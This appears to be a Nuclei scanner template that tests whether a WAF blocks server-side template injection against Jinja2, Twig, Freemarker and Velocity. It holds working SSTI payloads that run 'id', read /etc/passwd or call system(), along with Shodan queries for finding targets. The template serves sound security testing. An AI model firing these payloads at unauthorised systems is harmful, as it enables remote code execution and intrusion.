id: waf-ssti-bypass
info:
  name: WAF Server-Side Template Injection Bypass
  author: waftester
  severity: critical
  description: |
    Tests WAF effectiveness against server-side template injection bypass
    techniques. Targets Jinja2, Twig, Freemarker, Velocity, Pebble, Smarty,
    ERB, and Mako template engines. Includes filter bypass, attribute access
    tricks, string concatenation, and namespace traversal techniques.
  reference:
    - https://portswigger.net/web-security/server-side-template-injection
    - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
    - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
    - https://github.com/0xInfection/Awesome-WAF
  tags: ssti,waf,bypass,owasp-a03,injection,template,waftester
  classification:
    cwe-id:
      - CWE-94
      - CWE-693
  metadata:
    verified: true
    max-request: 18
    shodan-query: "http.waf"
    fofa-query: "header=\"WAF\""

http:
  # Template engine detection - mathematical expressions
  - method: GET
    path:
      - "{{BaseURL}}/?name={{7*7}}"
      - "{{BaseURL}}/?name={{7*'7'}}"
      - "{{BaseURL}}/?name=${7*7}"
      - "{{BaseURL}}/?name=<%= 7*7 %>"
      - "{{BaseURL}}/?name=#{7*7}"
      - "{{BaseURL}}/?name=${T(java.lang.Runtime).getRuntime()}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "49"
          - "7777777"
        condition: or
      - type: dsl
        dsl:
          - "status_code != 403 && status_code != 406 && status_code != 429"
      - type: word
        part: body
        words:
          - "403"
          - "Forbidden"
          - "blocked"
          - "Request Rejected"
        negative: true
        condition: or

  # Jinja2 RCE via class traversal
  - method: GET
    path:
      - "{{BaseURL}}/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
      - "{{BaseURL}}/?name={{''.__class__.__mro__[1].__subclasses__()}}"
      - "{{BaseURL}}/?name={{request.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code != 403 && status_code != 406"
      - type: word
        part: body
        words:
          - "uid="
          - "root:"
          - "subprocess"
        condition: or
      - type: word
        part: body
        words:
          - "403"
          - "Forbidden"
          - "blocked"
        negative: true
        condition: or

  # Jinja2 filter bypass - attr() and bracket notation
  - method: GET
    path:
      - "{{BaseURL}}/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')}}"
      - "{{BaseURL}}/?name={{''['__class__']['__mro__'][1]['__subclasses__']()}}"
      - "{{BaseURL}}/?name={%set x=config.__class__.__init__.__globals__%}{{x}}"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code != 403 && status_code != 406"
      - type: word
        part: body
        words:
          - "403"
          - "Forbidden"
          - "blocked"
        negative: true
        condition: or

  # Twig template engine (PHP)
  - method: GET
    path:
      - "{{BaseURL}}/?name={{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}"
      - "{{BaseURL}}/?name={{['id']|filter('system')}}"
      - "{{BaseURL}}/?name={{app.request.server.get('DOCUMENT_ROOT')}}"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code != 403 && status_code != 406"
      - type: word
        part: body
        words:
          - "403"
          - "Forbidden"
          - "blocked"
        negative: true
        condition: or

  # Freemarker / Velocity (Java)
  - method: GET
    path:
      - "{{BaseURL}}/?name=<#assign ex='freemarker.template.utility.Execute'?new()> ${ex('id')}"
      - "{{BaseURL}}/?name=#set($x='')+#set($rt=$x.class.forName('java.lang.Runtime'))+#set($chr=$x.class.forName('java.lang.Character'))+#set($str=$x.class.forName('java.lang.String'))"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "status_code != 403 && status_code != 406"
      - type: word
        part: body
        words:
          - "403"
          - "Forbidden"
          - "blocked"
        negative: true
        condition: or